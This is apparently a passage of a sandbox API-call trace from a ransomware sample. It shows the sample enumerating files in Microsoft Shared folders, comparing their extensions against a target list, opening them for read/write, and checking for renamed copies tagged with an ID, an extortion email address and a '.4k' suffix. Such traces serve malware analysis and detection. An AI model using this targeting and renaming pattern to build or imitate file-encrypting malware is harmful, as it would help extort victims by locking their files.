	[0094.359] lstrlenW (lpString=".xlsx") returned 5
	[0094.359] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1
	[0094.359] lstrlenW (lpString=".ppt") returned 4
	[0094.359] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1
	[0094.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.359] lstrlenW (lpString=".zip") returned 4
	[0094.359] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1
	[0094.359] lstrlenW (lpString=".rar") returned 4
	[0094.359] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1
	[0094.360] lstrlenW (lpString=".bz2") returned 4
	[0094.360] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1
	[0094.360] lstrlenW (lpString=".7z") returned 3
	[0094.360] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1
	[0094.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.360] lstrlenW (lpString=".dbf") returned 4
	[0094.360] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1
	[0094.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.360] lstrlenW (lpString=".1cd") returned 4
	[0094.360] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1
	[0094.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.360] lstrlenW (lpString=".jpg") returned 4
	[0094.360] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1
	[0094.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.360] lstrlenW (lpString=".doc") returned 4
	[0094.360] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1
	[0094.360] lstrlenW (lpString=".docx") returned 5
	[0094.360] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1
	[0094.360] lstrlenW (lpString=".pdf") returned 4
	[0094.360] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1
	[0094.360] lstrlenW (lpString=".xls") returned 4
	[0094.360] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1
	[0094.360] lstrlenW (lpString=".xlsx") returned 5
	[0094.360] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1
	[0094.360] lstrlenW (lpString=".ppt") returned 4
	[0094.360] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1
	[0094.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.361] lstrlenW (lpString=".zip") returned 4
	[0094.361] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1
	[0094.361] lstrlenW (lpString=".rar") returned 4
	[0094.361] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1
	[0094.361] lstrlenW (lpString=".bz2") returned 4
	[0094.361] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1
	[0094.361] lstrlenW (lpString=".7z") returned 3
	[0094.361] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1
	[0094.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.361] lstrlenW (lpString=".dbf") returned 4
	[0094.361] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1
	[0094.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.361] lstrlenW (lpString=".1cd") returned 4
	[0094.361] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1
	[0094.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.361] lstrlenW (lpString=".jpg") returned 4
	[0094.361] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1
	[0094.361] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.361] lstrlenW (lpString="join.avi") returned 8
	[0094.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0095.529] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=222208) returned 1
	[0095.529] CloseHandle (hObject=0x1c4) returned 1
	[0095.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0095.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0095.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0095.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.530] lstrlenW (lpString=".doc") returned 4
	[0095.530] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString=".docx") returned 5
	[0095.530] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0095.530] lstrlenW (lpString=".pdf") returned 4
	[0095.530] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString=".xls") returned 4
	[0095.530] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString=".xlsx") returned 5
	[0095.530] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0095.530] lstrlenW (lpString=".ppt") returned 4
	[0095.530] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.530] lstrlenW (lpString=".zip") returned 4
	[0095.530] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString=".rar") returned 4
	[0095.530] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString=".bz2") returned 4
	[0095.530] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0095.530] lstrlenW (lpString=".7z") returned 3
	[0095.530] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0095.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.531] lstrlenW (lpString=".dbf") returned 4
	[0095.531] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.531] lstrlenW (lpString=".1cd") returned 4
	[0095.531] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0095.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.531] lstrlenW (lpString=".jpg") returned 4
	[0095.531] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.531] lstrlenW (lpString=".doc") returned 4
	[0095.531] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString=".docx") returned 5
	[0095.531] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0095.531] lstrlenW (lpString=".pdf") returned 4
	[0095.531] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString=".xls") returned 4
	[0095.531] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString=".xlsx") returned 5
	[0095.531] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0095.531] lstrlenW (lpString=".ppt") returned 4
	[0095.531] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.531] lstrlenW (lpString=".zip") returned 4
	[0095.531] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0095.531] lstrlenW (lpString=".rar") returned 4
	[0095.531] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0095.532] lstrlenW (lpString=".bz2") returned 4
	[0095.532] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0095.532] lstrlenW (lpString=".7z") returned 3
	[0095.532] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0095.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.532] lstrlenW (lpString=".dbf") returned 4
	[0095.532] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0095.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.532] lstrlenW (lpString=".1cd") returned 4
	[0095.532] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0095.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65
	[0095.532] lstrlenW (lpString=".jpg") returned 4
	[0095.532] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0095.532] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0095.532] lstrlenW (lpString="main.xml") returned 8
	[0095.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0095.533] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=38485) returned 1
	[0095.533] CloseHandle (hObject=0x1c4) returned 1
	[0095.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20
	[0095.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0095.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0095.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.533] lstrlenW (lpString=".doc") returned 4
	[0095.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0095.533] lstrlenW (lpString=".docx") returned 5
	[0095.533] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0095.533] lstrlenW (lpString=".pdf") returned 4
	[0095.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0095.533] lstrlenW (lpString=".xls") returned 4
	[0095.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0095.533] lstrlenW (lpString=".xlsx") returned 5
	[0095.533] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0095.533] lstrlenW (lpString=".ppt") returned 4
	[0095.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0095.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.533] lstrlenW (lpString=".zip") returned 4
	[0095.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0095.534] lstrlenW (lpString=".rar") returned 4
	[0095.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0095.534] lstrlenW (lpString=".bz2") returned 4
	[0095.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0095.534] lstrlenW (lpString=".7z") returned 3
	[0095.534] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0095.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.534] lstrlenW (lpString=".dbf") returned 4
	[0095.534] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0095.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.534] lstrlenW (lpString=".1cd") returned 4
	[0095.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0095.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.534] lstrlenW (lpString=".jpg") returned 4
	[0095.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0095.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.534] lstrlenW (lpString=".doc") returned 4
	[0095.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0095.534] lstrlenW (lpString=".docx") returned 5
	[0095.534] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0095.534] lstrlenW (lpString=".pdf") returned 4
	[0095.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString=".xls") returned 4
	[0095.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString=".xlsx") returned 5
	[0095.535] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0095.535] lstrlenW (lpString=".ppt") returned 4
	[0095.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.535] lstrlenW (lpString=".zip") returned 4
	[0095.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0095.535] lstrlenW (lpString=".rar") returned 4
	[0095.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString=".bz2") returned 4
	[0095.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString=".7z") returned 3
	[0095.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0095.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.535] lstrlenW (lpString=".dbf") returned 4
	[0095.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.535] lstrlenW (lpString=".1cd") returned 4
	[0095.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0095.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0095.535] lstrlenW (lpString=".jpg") returned 4
	[0095.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0095.536] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0095.536] lstrlenW (lpString="numbase.xml") returned 11
	[0095.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0095.675] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1218) returned 1
	[0095.675] CloseHandle (hObject=0x17c) returned 1
	[0095.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20
	[0095.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0095.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0095.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.676] lstrlenW (lpString=".doc") returned 4
	[0095.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0095.676] lstrlenW (lpString=".docx") returned 5
	[0095.676] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0095.676] lstrlenW (lpString=".pdf") returned 4
	[0095.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0095.676] lstrlenW (lpString=".xls") returned 4
	[0095.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0095.676] lstrlenW (lpString=".xlsx") returned 5
	[0095.676] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0095.676] lstrlenW (lpString=".ppt") returned 4
	[0095.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0095.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.676] lstrlenW (lpString=".zip") returned 4
	[0095.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0095.676] lstrlenW (lpString=".rar") returned 4
	[0095.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0095.676] lstrlenW (lpString=".bz2") returned 4
	[0095.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0095.676] lstrlenW (lpString=".7z") returned 3
	[0095.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0095.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.677] lstrlenW (lpString=".dbf") returned 4
	[0095.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.677] lstrlenW (lpString=".1cd") returned 4
	[0095.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.677] lstrlenW (lpString=".jpg") returned 4
	[0095.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.677] lstrlenW (lpString=".doc") returned 4
	[0095.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString=".docx") returned 5
	[0095.677] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0095.677] lstrlenW (lpString=".pdf") returned 4
	[0095.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString=".xls") returned 4
	[0095.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString=".xlsx") returned 5
	[0095.677] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0095.677] lstrlenW (lpString=".ppt") returned 4
	[0095.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.677] lstrlenW (lpString=".zip") returned 4
	[0095.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0095.677] lstrlenW (lpString=".rar") returned 4
	[0095.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0095.677] lstrlenW (lpString=".bz2") returned 4
	[0095.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0095.678] lstrlenW (lpString=".7z") returned 3
	[0095.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0095.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.678] lstrlenW (lpString=".dbf") returned 4
	[0095.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0095.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.678] lstrlenW (lpString=".1cd") returned 4
	[0095.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0095.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0095.678] lstrlenW (lpString=".jpg") returned 4
	[0095.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0095.678] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0095.678] lstrlenW (lpString="numbers.xml") returned 11
	[0095.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0096.186] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=209) returned 1
	[0096.186] CloseHandle (hObject=0x164) returned 1
	[0096.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20
	[0096.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.187] lstrlenW (lpString=".doc") returned 4
	[0096.187] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.187] lstrlenW (lpString=".docx") returned 5
	[0096.187] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0096.187] lstrlenW (lpString=".pdf") returned 4
	[0096.187] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.187] lstrlenW (lpString=".xls") returned 4
	[0096.187] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.187] lstrlenW (lpString=".xlsx") returned 5
	[0096.187] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0096.187] lstrlenW (lpString=".ppt") returned 4
	[0096.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.187] lstrlenW (lpString=".zip") returned 4
	[0096.187] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.187] lstrlenW (lpString=".rar") returned 4
	[0096.187] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.187] lstrlenW (lpString=".bz2") returned 4
	[0096.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.187] lstrlenW (lpString=".7z") returned 3
	[0096.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.188] lstrlenW (lpString=".dbf") returned 4
	[0096.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.188] lstrlenW (lpString=".1cd") returned 4
	[0096.188] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.188] lstrlenW (lpString=".jpg") returned 4
	[0096.188] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.188] lstrlenW (lpString=".doc") returned 4
	[0096.188] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.188] lstrlenW (lpString=".docx") returned 5
	[0096.189] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0096.189] lstrlenW (lpString=".pdf") returned 4
	[0096.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
